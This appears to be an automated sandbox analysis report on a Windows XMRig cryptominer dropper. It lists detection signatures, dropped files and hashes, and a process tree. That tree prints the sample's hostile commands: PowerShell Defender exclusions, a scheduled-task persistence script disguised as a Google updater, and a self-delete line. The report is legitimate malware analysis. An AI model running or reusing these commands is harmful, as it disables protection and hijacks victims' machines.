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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

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23/01/2024, 19:27

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240123-x584esgbd510

Analysis

  • max time kernel
    497s
  • max time network
    1897s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 28 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 29 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1212
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1068
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1908
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2296
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:2136
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1616
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1400
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:332
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:1820
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1948
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1436
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2420
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1988
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1072
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {C913DFA7-B357-44E3-A3E9-635C1E83335B} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:540
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1496

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 2.0MB
              • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 638KB
              • SHA256 ceda1c5e8bd9a0bc23eb68402d3569957875c54d6da1a077a5070960d757ca4e
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 e3058be41a006b9c7ff77d71d0a0f38f8df6e1e1393fe44bfb2d9b49e03ab6aa
              • MD5 SHA1 SHA512 SSDEEP

              XX2D298GCE5R68N4VLR7.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XX2D298GCE5R68N4VLR7.temp
              • Size 7KB
              • SHA256 9b29f1c49589a836ac38505eae9787e581e9c2a5e7302da019ea3b6d6b901699
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 1.7MB
              • SHA256 4d4632b2f58f83f325c2e775cb47303faa4aa2e936e269c1be36b3f39a9caed2
              • MD5 SHA1 SHA512 SSDEEP

              memory/332-67-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/332-62-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/332-63-0x0000000001100000-0x0000000001180000-memory.dmp

              memory/332-64-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/332-65-0x0000000001100000-0x0000000001180000-memory.dmp

              memory/332-66-0x0000000001100000-0x0000000001180000-memory.dmp

              memory/1068-30-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/1068-48-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/1068-23-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/1068-19-0x000000001B160000-0x000000001B442000-memory.dmp

              memory/1068-24-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/1068-25-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/1068-21-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/1068-28-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/1068-29-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/1068-20-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/1068-32-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/1068-33-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/1068-22-0x00000000022D0000-0x00000000022D8000-memory.dmp

              memory/1072-98-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-106-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-141-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-139-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-137-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-135-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-133-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-131-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-129-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-127-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-125-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-123-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-121-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-119-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-117-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-104-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-102-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-100-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-96-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-94-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-92-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-88-0x00000000008C0000-0x00000000008E0000-memory.dmp

              memory/1072-87-0x0000000000850000-0x0000000000870000-memory.dmp

              memory/1072-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-75-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1072-76-0x00000000002F0000-0x0000000000310000-memory.dmp

              memory/1072-78-0x0000000000850000-0x0000000000870000-memory.dmp

              memory/1072-79-0x00000000008C0000-0x00000000008E0000-memory.dmp

              memory/1072-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1400-54-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

              memory/1400-59-0x0000000000E40000-0x0000000000EC0000-memory.dmp

              memory/1400-60-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

              memory/1400-55-0x0000000000E40000-0x0000000000EC0000-memory.dmp

              memory/1400-56-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

              memory/1400-58-0x0000000000E40000-0x0000000000EC0000-memory.dmp

              memory/1400-57-0x0000000000E40000-0x0000000000EC0000-memory.dmp

              memory/1496-53-0x000000013F3F0000-0x000000013F601000-memory.dmp

              memory/1496-74-0x000000013F3F0000-0x000000013F601000-memory.dmp

              memory/1496-77-0x000000013F3F0000-0x000000013F601000-memory.dmp

              memory/1908-44-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/1908-45-0x0000000002730000-0x00000000027B0000-memory.dmp

              memory/1908-46-0x0000000002730000-0x00000000027B0000-memory.dmp

              memory/1908-47-0x0000000002730000-0x00000000027B0000-memory.dmp

              memory/1908-43-0x0000000002730000-0x00000000027B0000-memory.dmp

              memory/1908-49-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/1908-42-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

              memory/1948-84-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1948-80-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2616-12-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

              memory/2616-5-0x000000001B120000-0x000000001B402000-memory.dmp

              memory/2616-6-0x00000000023D0000-0x00000000023D8000-memory.dmp

              memory/2616-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

              memory/2616-10-0x0000000002800000-0x0000000002880000-memory.dmp

              memory/2616-13-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

              memory/2616-9-0x0000000002800000-0x0000000002880000-memory.dmp

              memory/2616-11-0x0000000002800000-0x0000000002880000-memory.dmp

              memory/2628-0-0x000000013F960000-0x000000013FB71000-memory.dmp

              memory/2628-35-0x000000013F960000-0x000000013FB71000-memory.dmp

              memory/2628-8-0x000000013F960000-0x000000013FB71000-memory.dmp

              memory/2628-26-0x000000013F960000-0x000000013FB71000-memory.dmp